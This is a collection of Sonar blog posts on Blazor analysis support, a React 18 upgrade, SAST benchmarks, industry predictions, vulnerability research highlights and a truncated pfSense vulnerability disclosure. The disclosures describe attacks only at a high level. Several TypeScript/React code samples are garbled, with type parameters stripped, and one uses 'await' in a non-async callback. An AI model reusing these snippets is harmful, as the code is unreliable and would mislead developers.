At Sonar, we emphasize the importance of Clean Code principles. Doing so creates software characterized by clarity, maintainability, and comprehensibility. These attributes not only help the identification and resolution of vulnerabilities throughout the development process but also lower the likelihood of introducing security weaknesses that malicious actors might exploit.

Lastly, we would like to give huge kudos to the Jenkins team, who quickly and professionally assessed our findings, maintained great communication throughout the disclosure process, and provided a comprehensive fix. Thank you!
Related Blog Posts
Source Code at Risk: Critical Code Vulnerability in CI/CD Platform TeamCity
Agent 007: Pre-Auth Takeover of Build Pipelines in GoCD
Agent 008: Chaining Vulnerabilities to Compromise GoCD




Blazor
Denis Troller — Tue, 23 Jan 2024 19:00:00 GMT
Developers care about code. They care about code a lot. They care about writing it, reviewing it, and maintaining it. They want Clean Code, and the eight million .NET developers are no different. They have been enjoying the power of Roslyn analyzers delivered by Microsoft for a long time, and we are here to take that power to 11!
Today, we expanded our support for the Microsoft ASP.NET Core Blazor framework by adding new rules targeting Razor components.

We’ve been helping .NET developers create Clean Code for over a decade with our SonarQube, SonarCloud, and SonarLint products. In 2015, we partnered with Microsoft to improve the integration of Sonar analyzers for the .NET ecosystem. Since then, we’ve been continually improving our analysis. We now provide over 450 rules and cover specific cases such as Microsoft Azure Functions, Cognitive Complexity, Async-Await usage, Multi-Threading, or DateTime usage. We bring taint analysis, complex bug detection, secrets detection, and more right to your fingertips. And yes, we do support Microsoft Visual Basic .NET! We cover code in Azure DevOps, GitHub, GitLab, and Bitbucket, allowing developers to take a Clean as You Code approach to building great applications, whatever their tools and processes.
What is Blazor?
Blazor is the latest part of Microsoft ASP.NET Core technology, which allows you to code your UI with a mix of C# code and HTML presentation. It can run on the server or in the client and can also be used on the desktop in .NET MAUI applications. You can find much more information on Microsoft’s Blazor website.

Blazor's robust component model allows you to separate your user interface into smaller elements and then combine those elements to create larger functionalities. The Blazor framework is a game changer for companies, allowing C# developers to use their skills to build front-end UI without using JavaScript. The same CLR you are used to, with its same base class library, is available to you in the browser, thanks to the power of WebAssembly (WASM), an open standard supported by all 4 major browsers. 

With Blazor, it becomes possible to modernize applications by moving pieces of it to the client, where it can give you the power of dynamic UI you have become accustomed to without learning new languages, frameworks, and toolchains.
Why Blazor applications?
Our goal is to analyze all .NET code, wherever it lives, and Blazor has seen a fantastic uptake from the community, with open-source projects like the Oqtane CMS framework going all-in on Blazor as the UI piece of the puzzle, the MudBlazor UI component library, or the ABP web application framework. We believe the same type of component ecosystem we have enjoyed over the years with Windows Forms or WPF will grow around Blazor.

Allowing C# developers to take their long-honed skills up to the web client has been a long sought-after feature, and it is finally here! And it is here to stay.

Sonar listened to the growing call of the .NET developer community to support them as they build front-end apps in the same way we currently support them in building backend or desktop applications. More and more C# code will live in .cshtml or .razor files, and it is our mission to ensure we give .NET developers the tools they need to keep that code as clean as the rest of their code.

We are excited to announce that Sonar now supports the analysis of Razor templates, which are at the core of the Blazor front-end web framework. Because SonarCloud and SonarQube can now analyze the C# code inside .cshtml and .razor files, you can extend clean coding practices across your full-stack web applications developed with ASP.NET Core MVC, Razor Pages, and Blazor. We also released an update to support .NET 8 and C# 12 before the official release so you can adopt our favorite framework's newest LTS release on day one.

We have been, and continue to be, hard at work with Microsoft to bring all this to you. For this, we extend our thanks to their teams.

We analyzed a roster of Blazor-based open-source projects. Here is a sample of the issues we found in the C# code present in Razor files that you could not see before. These reflect common code maintenance challenges, often encountered as a codebase evolves, reaffirming the need for comprehensive code analysis regardless of experience level:
Unused variables or members
Unused methods
High cognitive complexity in methods
Possible null dereferencing
Members that should be read-only
Cascading if statements
What’s next in Blazor analysis?
We continue investing in Blazor and have, in fact, released the first set of rules explicitly targeted to discover issues in your Blazor web app. You can detect such problems as unsupported parameter types, misuse of JSInterop, or mismatched parameter types with their route constraints.

If you are a Sonar user, you can now use Razor files and Blazor components in your application, confident that we will bring you the same insights here as what you are used to on the rest of your code!

If you are yet to become a Sonar user, check out everything our tools and the Clean As You Code approach can bring to your development process. Whether your tools run in the cloud or on-premises, whether you use .NET or .NET Framework, we have you covered!

And if you are an open-source developer, this power is available to you for free because Sonar believes in a strong open-source community.

“.NET web developers utilizing ASP.NET Core Blazor, MVC, and Razor Pages now have the added option of integrating SonarSource code analysis into their Razor-based applications. Many .NET developers have shared their positive experiences with SonarSource code analysis, and say it is helping them maintain Clean Code and promote best coding practices. SonarSource code analysis is a valuable tool for .NET developers who want to deliver clean and secure code consistently and reliably.” – Daniel Roth, Principal Product Manager, Microsoft

Check out this webinar with Microsoft Blazor Product Manager, Daniel Roth, to learn how you can leverage SonarQube and SonarCloud to maintain Clean Code in your Blazor applications.

Download SonarLint and either install SonarQube or start a SonarCloud trial and give it a try! 

Ready, Set, Clean!




Lessons learned upgrading to React 18 in SonarQube
Phil Nash — Wed, 17 Jan 2024 07:00:00 GMT
The SonarQube interface is written in React and we recently went through the process of upgrading from version 17 to 18. To give you a bit more of the picture, the app is also written in TypeScript and uses Jest with React Testing Library (RTL) for testing.

We wanted to share the biggest three issues we faced and the lessons we learned as we carried out the upgrade. In brief, they were:

Some TypeScript types changed
React Testing Library must also be updated
React 18 brings breaking changes

Let's get into what these meant and how we dealt with them.

Note: this post was co-written by the SonarQube front-end team of David Cho-Lerat, Ambroise Christea, and Philippe Perrin.
TypeScript type changes
The React 18 upgrade guide points out that both @types/react and @types/react-dom must be updated as you upgrade, and the "most notable change is that the children prop now needs to be listed explicitly when defining props."

The good news for this update is that Sebastian Silbermann, from the React core team, maintains a collection of codemods that help to automatically update the types when upgrading from React 17. 

You can run the codemod using npx like so:
npx types-react-codemod preset-18 ./src
It will present a number of transforms you can apply and will default to the transforms that are required.

For example, the transform to list the children prop explicitly will take a component that looks like this:
MyComponent: React.ComponentType
and replace it with:
MyComponent: React.ComponentType>
Watch out though, we found that the codemod can end up nesting the PropsWithChildren type and your type might end up looking like this:
MyComponent: React.ComponentType>>
While this isn't harmful, you will want to correct these types as you come across them.

The new types are also more picky in some areas. For example, previously we were able to override the type of children in an interface like this:
interface ComponentProps {
  children: React.ReactNode;
}

interface Props extends ComponentProps {
  children: () => React.ReactNode;
}
With the React 18 types, this no longer works and you must now omit the declaration of children first.
interface Props extends Omit  {
  children: () => React.ReactNode;
}
The new types also don't allow implicit any types for the parameters to a useCallback function. You will need to explicitly declare the types, for example:
import { useCallback, MouseEvent } from 'react';

export function SubmitButton(props: ButtonProps) {
  const handleClick = useCallback((event: MouseEvent) => {
    event.preventDefault();
    // Do something else.
  }, [...]);
  return ;
}
When you upgrade @types/react to version 18, expect to see a few issues like this.
React Testing Library update
We found that many of our tests that used to pass now failed after updating React and RTL. There were two categories of failure: timing and calls to act().
Fake timers
RTL uses a setTimeout for a defined delay when simulating user events, but this does not play nicely with Jest's fake timers. This caused tests to hang and fail with a timeout.

In version 14.1.0, RTL added an advanceTimers option to the setup step for user-event so that you can provide your own timer. We were able to fix our tests by passing the jest.advanceTimersByTime method.
const user = userEvent.setup({ advanceTimers: jest.advanceTimersByTime })
Acting out
The dreaded act(...) warning had plagued our codebase for a while and in some cases had been patched up by adding an extra call to act around some RTL events and helpers.
RTL helpers use act internally, so while adding an extra call to act was initially a valid workaround to suppress the warning, it now caused the tests to fail. Removing the excess calls to act got the tests passing again. If you still receive warnings, Kent C. Dodds has a comprehensive post on what causes the act(...) warning and how to fix it in the context of RTL.
React 18 breaking changes
The biggest change in React 18 is right at the root of the application. ReactDOM.render is no longer supported and should be replaced with createRoot. While on the surface this seems like a simple change that provides a better way for React to manage the root of the application, it actually changes how React renders your application. Two new features are enabled: automatic batching and the new concurrent renderer.

Concurrent rendering allows React to interrupt the rendering of a component if there is other work that needs to be done at a higher priority. You opt-in to this behaviour by defining a state update as a transition using the useTransition hook. If you don't opt-in, your components will render sequentially as before, so this should make no difference as you upgrade your application.

However, automatic batching is enabled immediately. Automatic batching is a performance improvement in React 18 to reduce the number of renders by collecting state changes into one update. It can cause some unexpected behaviour though.

We discovered some parts of our code fell foul of this new batching when several tests started failing. The tests were expecting parts of components to be rendered, yet found them to be empty.

We realized that this batching includes any execution sub-context in the same scope! This means that if you have a setState, then a Promise that also does a setState when it resolves/rejects, both state changes will be batched at the end of the scope if they happen close to each other (for instance in tests, where mocked queries are almost instantaneous).

In this simplified example of two methods in a class-based component we set a state, then, within the body of an asynchronous function, we relied on that new state in a conditional.
class MyComponent extends React.Component {
  // ...

  fetchProjects = async () => {
    const { shouldFetch } = this.state;

    if (shouldFetch) {
      this.setState({ loading: true });
      const projects = await this.fetchProjects();
      this.setState({ loading: false, projects: projects });
    }
  }

  handleFetchProjectsClick = async () => {
    this.setState({ shouldFetch: true });
    await this.fetchProjects();
  }

  // ...
}
In React 17 when handleFetchProjectsClick was called it would set the shouldFetch state to true, then call on fetchProjects. Within fetchProjects the test for shouldFetch would be true and the data was fetched. This is because the state update task happens before the fetchProjects promise is handled.

In React 18 with createRoot the projects aren't fetched because the state update is deferred until the end of handleFetchProjectsClick, so when fetchProjects runs shouldFetch would still be falsy.

If you need to ensure code runs after state is set, you can either use the callback form of setState or the new ReactDOM.flushSync() method.
class MyComponent extends React.Component {
  // ...

  handleFetchProjectsClick = async () => {
    this.setState({ shouldFetch: true }, () => {
      await this.fetchProjects();
    });
  }

  // ...
}
Asynchronous renders in tests
The above fixed the component rendering on the page, but we found that the tests continued to fail. Debugging these failures step-by-step showed that the content was not present on the initial render, but when we re-rendered the component it then appeared. Because we now used the setState callback method to fetch the data, the initial render didn't include the content.

Our tests were using RTL's synchronous methods to find that content on the page, like this:
expect(screen.getByText('Content')).toBeInTheDocument();
Replacing RTL's synchronous getBy queries with the asynchronous await findBy query fixes the issue. For example:
expect(await screen.findByText('Content')).toBeInTheDocument();
Using a findBy query uses waitFor under the hood to give the DOM time to update when it doesn't happen immediately.
The upgrade was a success
The SonarQube UI is now running successfully on React 18. While some of the issues we came across had to do with the test suite needing an upgrade, others were caught because we have a comprehensive test suite across both unit tests for components and end-to-end tests avoiding production failures when it was time to deploy. Writing testable code is one part of writing adaptable code, one of the properties of Clean Code. Those tests highlighted things that needed to be updated and gave us the confidence that when they passed, the application was ready. 

If you are running React 17 and planning an upgrade, hopefully, these experiences can help you with some of the pitfalls.




Vulnerability Research Highlights 2023
Stefan Schiller — Wed, 03 Jan 2024 23:00:00 GMT
A great challenge for developers nowadays is to keep up in the fast-evolving field of software development. Today's vast landscape of different technologies requires developers to deal with various programming languages, configuration specifics, build systems, etc. And as if that were not enough, this complexity increases the risk of introducing security vulnerabilities, which would allow attackers to steal sensitive data, attack other users, deploy ransom- or malware, or carry out other malicious activities.

To ease this burden, we at Sonar, are constantly improving our code analyzers to help developers write Clean Code. One important aspect of this is Code Security. A software application should be free of security vulnerabilities. Our dedicated research team finds and inspects vulnerabilities in modern open-source applications to keep up with the latest trends and better understand the most recent threats.

Based on the insights of these real-world vulnerabilities, we can improve our product, enabling our users to easily detect weak spots in their own code. At the same time, we responsibly disclose all identified vulnerabilities to the corresponding vendors to protect the users of affected applications. We also publicly share our findings to help developers, and security researchers learn from those vulnerabilities, their potential exploitation, and the applied fixes.

Let’s have a look at our research highlights for the year 2023!
Pwnie Award Nominations
Following our nominations in 2021 and 2022, we were happy to receive yet another two nominations for the Pwnie Awards in 2023. The traditional Pwnie Awards are presented at the BlackHat USA conference and honor outstanding achievements of security researchers and the security community.
We were nominated in the following categories:

Epic Achievement
Nominated for our work on the PHP supply chain that prevented the compromise of millions of servers (Blog)

Best Remote Code Execution
Nominated for our complex RCE bug chain in Checkmk (Blog)

Although we did not win the award, the nominations were a great honor for us again. Let’s see what this year brings!
Conferences and Talks
Conferences are an excellent way for us to keep up with the latest research trends, meet with the IT security community, and share our own knowledge by presenting a talk.
We were honored to share the results of our research at top-tier conferences in 2023, including the following:

Black Hat Asia 2023
YouTube: Stealing With Style: Using CSS to Exploit ProtonMail & Friends

DEF CON 31
YouTube: DEF CON 31 - Visual Studio Code is Why I Have Workspace Trust Issues - Chauchefoin, Gerste
Blog: BlackHat 2023: Hackers, Casinos, and an Exciting Announcement

HEXACON2023
YouTube: HEXACON2023 - An Avocado Nightmare by Stefan Schiller
Blog: Highlights from Hexacon 2023
Pwn2Own
Pwn2Own is a hacking contest held by ZDI, where participants are supposed to discover and exploit vulnerabilities in popular software or hardware devices. After our successful participation in 2022, we were thrilled to participate again in this year’s Pwn2Own Toronto edition. Despite the fact that the research related to this is not our main focus, we were able to successfully exploit the Wyze v3 camera. Stay tuned for the details!
Trends and Discovered Vulnerabilities
When choosing an open-source application for vulnerability research, we prefer active and widely deployed projects. This way, we maximize the impact of our findings to benefit many users at once. Although these are usually big and complex projects, and hence harder to analyze with traditional SAST techniques, these are also excellent realistic benchmarks for analyzers. This also means that finding something will be a challenge because more community members and professionals will have looked at the code already.

We are excited that in 2023, our team found and reported critical vulnerabilities in some of the most popular applications across different domains and major programming languages:
Attacks on Supply Chain and Developers
Vulnerabilities in critical CI/CD infrastructure could not only allow attackers to compromise specific installations but could also have helped to launch entire supply chain attacks. In a supply chain attack, a software package is infected and then shipped as part of another software package to users. Aside from directly attacking the CI/CD infrastructure malicious threat actors are also targeting developers. These have access to the most valuable asset for a software company: its source code. Continuing our efforts from last year, we identified and published more vulnerabilities that could be used to launch supply chain attacks and explicitly attack developers.

TeamCity is a widely used Continuous Integration and Continuous Deployment (CI/CD) server from JetBrains deployed by more than 30,000 customers worldwide. We identified a critical authentication bypass, which could be used by attackers to execute arbitrary code on the server and potentially launch a supply chain attack.

Visual Studio Code is the most popular source code editor. We thoroughly investigated its security landscape including the five major attack surfaces, namely exposed network services, protocol handlers, workspace settings and local data, workspace trust, and XSS. Furthermore, we identified multiple vulnerabilities in third-party extensions with millions of installs and even more vulnerabilities in the NPM integration of VSCode.
Privacy Mailers
Many messenger services have already switched to end-to-end encryption (E2EE) to protect messages in transit and at rest, but it is still rare among email services. While PGP and S/MIME do exist, they are usually cumbersome to set up and use, even for tech-savvy users. That's why many people turn to privacy-oriented webmail services which make communications safe in transit and at rest. However, the web clients will need to decrypt these messages to show them to the user which makes it an interesting component to attack!

Proton Mail is a very popular end-to-end encrypted email service with nearly 70 million users worldwide. We identified a Cross-Site Scripting (XSS) vulnerability in its web client. Attackers could leverage different techniques to successfully overcome all mitigations and potentially steal emails and impersonate victims.

Skiff is a well-established, end-to-end encrypted email service. During our audit of its source code, we discovered a mutation-based Cross-Site Scripting (XSS) vulnerability, which could be exploited by attackers to steal emails and impersonate victims.

Tutanota Desktop is the secure desktop client for the encrypted email service Tutanota. The vulnerability we identified in this application could be leveraged by attackers to even execute arbitrary code on a victim’s machine.
Management Software & CMS
A great advantage of web applications is that they are very accessible. While native applications usually require a full-blown client on a user’s machine, web applications can be accessed via a browser. Because of this, a lot of software that manages not only generic but also sensitive data is implemented as a web application. Since these applications are usually exposed to the network, they are a valuable target for threat actors.

Moodle is an open-source learning management system (LMS) used to create and deliver online courses. It is now widely used by educators and institutions around the world, earning the trust of educational institutions worldwide, with its user base exceeding 350 million across 242 countries. During our research, we discovered that an unauthenticated user could create arbitrary folders on a Moodle server. This apparently innocuous action turned out to introduce a Cross-Site Scripting (XSS) vulnerability, that could eventually be leveraged by an attacker to gain remote code execution. Furthermore, we identified an Account Takeover (ATO) via self-XSS in the WYSIWYG editor of Moodle.

OpenEMR is the most popular open-source software for electronic health records and medical practice management. It is used worldwide to manage sensitive patient data, including information about medications, laboratory values, and diseases. We analyzed multiple code vulnerabilities detected by our SAST engine, which could be exploited by an attacker to take over any OpenEMR instance.

Pimcore is an enterprise software platform for central management of corporate data. With over 100,000 clients across 56 countries, including some major vendors, it has become a trusted choice for businesses worldwide. With the help of SonarCloud, we identified two distinct vulnerabilities that an attacker could exploit with a single GET request, ultimately leading to code execution.
Infrastructure and Network
IT infrastructure is the keystone of our modern digital world and has increasingly become more complex. An attacker who can compromise a company’s IT infrastructure could easily exfiltrate sensitive data, deploy ransomware, spy on employees, and much more. This makes IT infrastructure a high-profile target for threat actors. Continuing our efforts from the previous year, we identified and published more critical vulnerabilities in IT infrastructure-related applications. 

pfSense is a popular open-source firewall solution by Netgate. Since a firewall stands as the vigilant guardian of an organization’s network, it is exposed to attacks from external threat actors. Thus we put its resistance to the test and, with the help of SonarCloud, discovered multiple vulnerabilities, that attackers could have used to spy on traffic or attack services inside the local network.

Cacti is a well-established, open-source monitoring solution with thousands of publicly exposed instances on the internet. We identified a critical command injection vulnerability, which could be triggered via an unauthenticated attacker by leveraging an authentication bypass.

LibreNMS is a fully featured, open-source monitoring solution. During our audit of the application, we identified a second-order XSS vulnerability, which attackers could combine with a Blade template injection to gain remote code execution.
What’s next?
Looking back at this exciting year 2023, we are even more thrilled to look forward to the next year. We already have awesome vulnerability findings in our pipeline that we will publish once patches are available. You can follow our research team on X or infosec.exchange if you want to stay up-to-date. 

On behalf of SonarSource, we wish you a happy new year and a safe start to 2024!


Sonar's Scoring on the Top 3 Python SAST Benchmarks
Alexandre Gigleux — Thu, 28 Dec 2023 14:00:00 GMT
In our series on SAST benchmarks, we explored the significance of benchmarks in tracking the evolution of our SAST capabilities. If you've been following along, you've observed our commitment to transparency, as we unveiled Sonar's scores on the Top 3 Java and C# SAST benchmarks –sharing the ground truth and shedding light on expected and unexpected issues.

But here's the drumroll moment - today marks the grand finale with Python, the last language on our 2023 checklist! Just as we've done for Java and C#, we're excited to share not only how Sonar performs on these Python benchmarks but also the ground truth corresponding to the list of expected and not-so-expected issues.
Our approach
We've approached the selection of Python SAST benchmarks with the same meticulous method. We looked at 109 projects available on GitHub related to SAST benchmarks. Out of these, we selected these 3 Python projects:
DVGA
DSVW
skf-labs-python
Our findings
At Sonar, we consider that a good SAST solution should have a True Positive Rate of 90% and a False Discovery Rate lower than 10%.

Let's now proceed to share the scores of Sonar against these benchmarks:
You'll notice that the outcomes are quite promising and generally align closely with our 90% True Positive Rate (TPR) target. Our commitment remains steadfast, and we're dedicated to continually enhancing our SAST engine. The goal is to consistently deliver results that are both precise and actionable.
Our computation
We said it in part one of this blog series: SAST vendors make plenty of claims but rarely provide anything to reproduce or substantiate their results. At Sonar, we want to change that. To replicate these results, you can access the ground truth provided in the sonar-benchmarks-scores repository. If you try to replicate it, we recommend utilizing the most recent version of the SonarQube Developer Edition.
Final word
Through revealing the ground truths and illustrating Sonar's performance on these SAST benchmarks, our aim is to foster transparency and empower companies to make informed decisions regarding their SAST solutions. We firmly believe that by openly sharing metrics such as True Positive Rate (TPR), False Discovery Rate (FDR), and the ground truths, users will develop a clearer comprehension of the efficacy and precision of Sonar's security analyzers.

Wrapping up this blog series, here's a brief overview of Sonar's average for the three programming languages we covered in 2023:
Java: 93% TPR (on average)
C#: 90% TPR (on average)
Python: 92% TPR (on average)

It's been an exciting journey, and we were thrilled to share these results with you. Stay tuned as we evaluate new detection capabilities in the world of JavaScript and TypeScript in 2024!

Alex


2024 DevOps Predictions from the Sonar Developer Advocate Team
Peter McKee — Thu, 21 Dec 2023 14:00:00 GMT
The past year brought a lot of changes to DevOps, most significantly the explosion of Generative AI and its integration into the role of the developer. For example, by June 2023, a GitHub survey found that 92% of US-based developers were already using AI coding tools both in and outside of work. 

AI wasn't the only booming buzz in the DevOps space this year though. We also saw continued evolution around the cloud, focusing on migrating and re-architecting workloads as well as increased attention paid to low-code and no-code ways of programming. So, the question is, what can we expect in the new year? What will 2024 bring? The Developer Advocate team and I put our heads together and came up with a few predictions on what we think will come next year:

Peter McKee, Head of Developer Relations & Community
AI to Transform the Future of Coding: AI will continue to deliver great value in addressing developer burnout, but it won’t ever be able to offload developers’ thinking and the human touch. However, I do think that even a few months from now we’ll see an entirely new set of GPTs — never mind what a few years from now will look like. I don’t believe technologists or developers will go away, but the nature by which they do their work every day will certainly change. The way developers use AI will be as simple and commonplace as Google searching for something as a shortcut. While there’s much to be explored about the usage of AI, we must still consider the human element at the forefront to check AI’s drawbacks. There is transformative potential for software development, but we can’t let it run without any checks — especially when digital businesses today are dependent on the software that underpins it.

Phil Nash, Developer Advocate 
Overconfidence in Generative AI Code will Lead to Generated AI Vulnerabilities: As more and more developers will use generative AI to successfully help build their products, 2024 will see the first big software vulnerabilities attributed to AI generated code. The success of using AI tools to build software will lead to overconfidence in the results and ultimately a breach that will be blamed on the AI itself. This will lead to a redoubling across the industry of previous development practices to ensure that all code, written by both developers and AI, is analyzed, tested, and compliant with quality and security standards.

We'll Write Less JavaScript: While web applications will continue to push the boundaries with JavaScript frameworks, websites that don't need the same level of interaction will be able to reduce their JavaScript and still build great experiences. In 2024, a combination of a number of new browser APIs will mean developers can achieve many of the effects that currently need a lot of JavaScript with mostly HTML and CSS. Scroll-driven animations, Dialogs and Popovers, View Transitions, CSS masonry layout, and parent selectors are just a number of the newer HTML and CSS features that will contribute to this reduction in JavaScript.

Ben Dechrai, Developer Advocate
Post-Quantum Cryptography: Quantum computing will continue to evolve, and with it the threat to encryption. Not all encryption algorithms are considered to be quantum-safe, and cloud providers like Cloudflare are already upgrading their systems to implement post-quantum cryptography to data-in-transit. I believe that 2024 will see this extend to providers looking at data-at-rest, such as document storage, health systems, and more, to mitigate future attacks against data encrypted in the present. For example, data encrypted today will probably be decryptable by quantum computing in 15 years, so we need to address that sooner, to keep our data safe way into the future.

Simplified Service Configuration: We’re already seeing no-code and low-code being used to configure some areas of the hosted services we use, and this will increase. An Identity as a Service provider recently deprecated some of its full-code extensibility capabilities, requiring customers to use the newer low-code and no-code replacement. I believe we’ll also see a growth in intercommunication between services that will allow companies to define their infrastructure more wholistically through these simplified interfaces. While this might be through strategic partnerships at first, we might see a consensus towards a standardized configuration language that allows services to be almost plug-and-play in platform orchestration tools.

Jonathan Vila, Developer Advocate
Low Code - No Code Growth: Next year we’ll experience a growth on low code - no code platforms that can create applications or services without the need for programming skills. This can allow for creating a bond between teams that know what the business needs by removing the translation and misunderstanding when sending those requirements to the development teams.

Java is Not Going to Die (Again): It’s always been the rumor or joke that Java is dead in favor of other technologies, but I foresee that in one more year, this is going to be proven wrong. With the evolution of AOT compilation technologies more oriented to Cloud Native environments (Quarkus, Micronaut, Helidon, Spring native), and the new features of Java 21 helping the concurrency to be easier and more performant, as well as new features to come in order to improve the cold warm up with project Leyden, Java will be more alive than ever. 

Whether we see these predictions actually come to fruition or not, it’ll be interesting to see how different trends play out over the next year. 




2024 Security Predictions from the Sonar Research Team
Johannes Dahse — Thu, 14 Dec 2023 14:00:00 GMT
As technology evolves and new innovations come to market, so too do threat actors find new ways to compromise software and exploit vulnerabilities. That’s why, in tangent with adopting and learning new tools and methods, we must stay stringent in security efforts. With the increasing adoption of AI, for example, it can be expected that organizations will need to reconsider their security measures. 

Reflecting on changes in the industry over the past year, as well as the research we’ve published, the Sonar Vulnerability Research team came together and compiled our thoughts on what we foresee for cybersecurity in 2024. Here are a few predictions from our team:

Supply-Chain Attacks on Code: A growing list of supply-chain attacks makes them a hot topic for development organizations today. There’s an underlying design issue exploited by these attacks and it is that all modern software is built on top of other third-party software components, often without clear visibility on the code quality of all the downloaded packages. A single code vulnerability introduced by a library can be used for large-scale attacks against multiple softwares using this library. Because the main code of popular open source software becomes well-reviewed and tested, attackers will focus more on finding previously unknown code vulnerabilities hidden in widely used but lesser-known open source libraries. It’s a very effective and subtle attack vector to compromise many organizations at once. In tandem with the risk and threats, the importance of a deeper code analysis will grow that also covers the code of libraries.

Regulatory Changes to Make Security Best Practices the Norm: Security has always been seen as a cost center — and hence, optional. As new regulations and compliance requirements are introduced, e.g. the new SEC rule forcing public companies to disclose material cybersecurity incidents within four days, it is forced to become the norm. This has a profound impact on how companies implement their security, internalizing and shifting left as much as possible. This shift favors proven and cost-effective practices, leaving most of the AI-powered security hype behind us.

Increase of (Detected) in-the-Wild Exploitation Campaigns: As we keep on getting better at detecting and analyzing in-the-wild exploitation campaigns of both known (N-days) and previously unknown (0-days) vulnerabilities, we'll notice an upward trend of these. It doesn't mean that threat actors are more active — only that we are finally catching up.

AI-Assisted Attacks to Become More Sophisticated and Automated: IT security attacks leveraging AI are expected to become more sophisticated and automated. Hackers will likely use AI to analyze vast amounts of data and launch targeted attacks. AI-driven phishing attackers capable of generating highly convincing and personalized messages, which trick users into revealing sensitive information, may increase. Furthermore, AI-powered malware could adapt and evolve in real time, making it more challenging for traditional antimalware detection systems to keep up. 

Dangers of AI-generated code: We will see an even bigger increase in the use of AI to generate source code, which results in improved productivity and faster development cycles. However, this reliance on AI-generated code can be very deceptive. AI models are only as good as the data on which they are trained. This means that this code can contain bugs and security issues, just as human-written code. In 2024, we will likely see the first examples of security issues introduced by AI-generated code.

Only time will tell in terms of what will happen in 2024, but to ensure you stay ahead of attackers and potential threats, remember to remain proactive in your cybersecurity efforts. Also, make sure to subscribe to our blog to keep up to date on the research that our team publishes on the real-world vulnerabilities we find in open source projects. 




Sonar @ Black Hat Europe!
Thomas Chauchefoin — Wed, 13 Dec 2023 23:00:00 GMT
Last week, four SonarSourcers traveled to London to attend our third Black Hat event of the year. 

Black Hat Europe was an excellent opportunity to share our Clean Code vision and its benefits for software security, a sentiment shared by most attendees who came to our booth. This reinforces our trust in the Clean Code approach and that it's not just a best practice—it's the foundation of secure software development.

Generative AI was also understandably on everyone's lips. They are indubitably great tools for developers' velocity; yet, as for human-created code, it does not come with any guarantee. This code also needs to be analyzed and reviewed, which is not a trivial task for humans as the volume of AI-generated code keeps on growing. 
And because it came as a surprise for many people at our booth, we'll also repeat it in this blog post: you can get all these benefits for free!
SonarLint, our code editor companion for Eclipse, VS Code, Visual Studio, and the majority of the JetBrains suite, can be installed directly from the respective marketplaces. You don't need to be a SonarQube or SonarCloud user to have it!
SonarQube, our best-in-class and on-premise Clean Code solution, has a free Community Edition;
SonarCloud, our Clean-Code-as-a-Service technology, is free for publicly accessible projects, i.e. open-source.

Proactive Application Security: It's All About Clean Code!
Our very own Andrew Osborne and Thomas Chauchefoin also gave a 20-minute presentation on the benefits of the Clean Code approach for proactive security. It may seem a bit adventurous to present this at a security-only event such as Black Hat—and that's the point! 

First, we had to develop why we think quality and security are indissociable. Without most Clean Code attributes, the software will lack essential properties that make it Secure. For instance, if code is neither consistent nor intentional, it will be much harder for other developers to dive into the code base and be confident in their changes. 

But most of the time, vulnerabilities are unplanned emergencies: they need to be mitigated fast, and these changes should not break the affected component! Unclear and "spaghetti" code will make this task much more difficult. We also re-assessed that even apparently harmless quality defects can break the software's security properties, so addressing them will help build a good security posture.
Over the years, we've also seen an increasing interest in Shift Left practices from many security companies, but we feel like something is missing. Security tools should not be shifted as-is to developers, as they often poorly integrate with their development workflow and introduce non-negligible friction: too much switching from the code editor, many false positives, the wrong level of education, etc.

In 2023, an obvious answer to this problem would be to rely on off-the-shelf LLMs already integrated into code editors, such as GitHub Copilot,  to detect unclean code. As Thomas developed in the presentation, we believe there's still considerable value in more "conventional" SAST techniques. First, he shared the details of CVE-2021-29447 (WordPress 5.7 XXE Vulnerability), a good example that security is sometimes a matter of niche knowledge that's outside the training dataset of these models. 

Then, he got into the specifics of a critical vulnerability discovered by the Sonar R&D team in the NETGEAR RAX30 router (Patches, Collisions, and Root Shells: A Pwn2Own Adventure), caused by the use of an unsafe C function family. Here, it's again trivial to detect, and its exploitation doesn't only require "intelligence" but also more human traits like creativity and curiosity.

Thanks to tools catching such issues early in development, security teams can spend less time checking and focusing on security design. There will always be security issues in code, and that's fine, but security teams can help reduce their exploitability with environmental changes that can sometimes eradicate entire bug classes. They can also help craft more precise SAST tooling based on domain-specific knowledge and previous findings from internal and external audits.

And… that's a wrap for this year! Our SonarSourcers traveled the world and delivered more than 100 presentations in 2023 alone, and we are looking forward to 2024 to show you always more security research and insights on Clean Code.

Related Blog Posts
BlackHat 2023: Hackers, Casinos, and an Exciting Announcement
Highlights from Hexacon 2023


pfSense Security: Sensing Code Vulnerabilities with SonarCloud
Oskar Zeino-Mahmalat — Mon, 11 Dec 2023 23:00:00 GMT
pfSense is a popular open-source firewall solution by Netgate. It is sold as pfSense Plus installed on ready-made firewall appliances to protect and manage office networks and also distributed for free as the pfSense Community Edition (CE). The r/PFSENSE subreddit has a large community with over 100 thousand members, lending credibility to pfSense's tagline "world's most trusted open source network security solution".

As part of our ongoing commitment to open-source security and to enhance our Clean Code technology, we routinely perform scans on open-source projects using SonarCloud and assess the results. Importantly, anyone can do this for free! SonarCloud is available at no cost for open-source projects, regardless of their language or size.

During these scans, SonarCloud discovered two Cross-Site Scripting (XSS) vulnerabilities and a Command Injection vulnerability in pfSense CE. In combination, these security vulnerabilities allowed an attacker to execute arbitrary commands on a pfSense appliance. Security inside a local network is often more lax as network administrators trust their firewalls to protect them from remote attacks. Potential attackers could have used the discovered vulnerabilities to spy on traffic or attack services inside the local network.

In this article, we will cover two of the three security vulnerabilities in detail. We show how SonarCloud found these vulnerabilities using taint analysis, how they could have been exploited, and what the patch from Netgate looks like.
pfSense Vulnerabilities Impact
pfSense CE 2.7.0 and below, pfSense Plus 23.05.1 and below are vulnerable to two XSS vulnerabilities and a Command Injection vulnerability (CVE-2023-42325, CVE-2023-42327, CVE-2023-42326). The security vulnerabilities are fixed in pfSense CE 2.7.1 and pfSense Plus 23.09. Attackers can combine the vulnerabilities to execute arbitrary code on the pfSense appliance remotely. An attacker can trick an authenticated pfSense user into clicking on a maliciously crafted link containing an XSS payload that exploits the command injection vulnerability.

The victim user needs to be an admin user or at least have access to specific subsections of the pfSense WebGui. pfSense admins can check the user manager for non-admin users with these permissions:
Reflected XSS (CVE-2023-42325):WebCfg - Status: System Logs: Firewall (Dynamic View)
WebCfg - Status: Logs: Settings
Reflected XSS (CVE-2023-42327):WebCfg - AJAX: Get Service Providers
Command injection (CVE-2023-42326):WebCfg - Interfaces: GIF: Edit
WebCfg - Interfaces: GRE: Edit

Watch the video
pfSense Security Vulnerabilities Technical Details
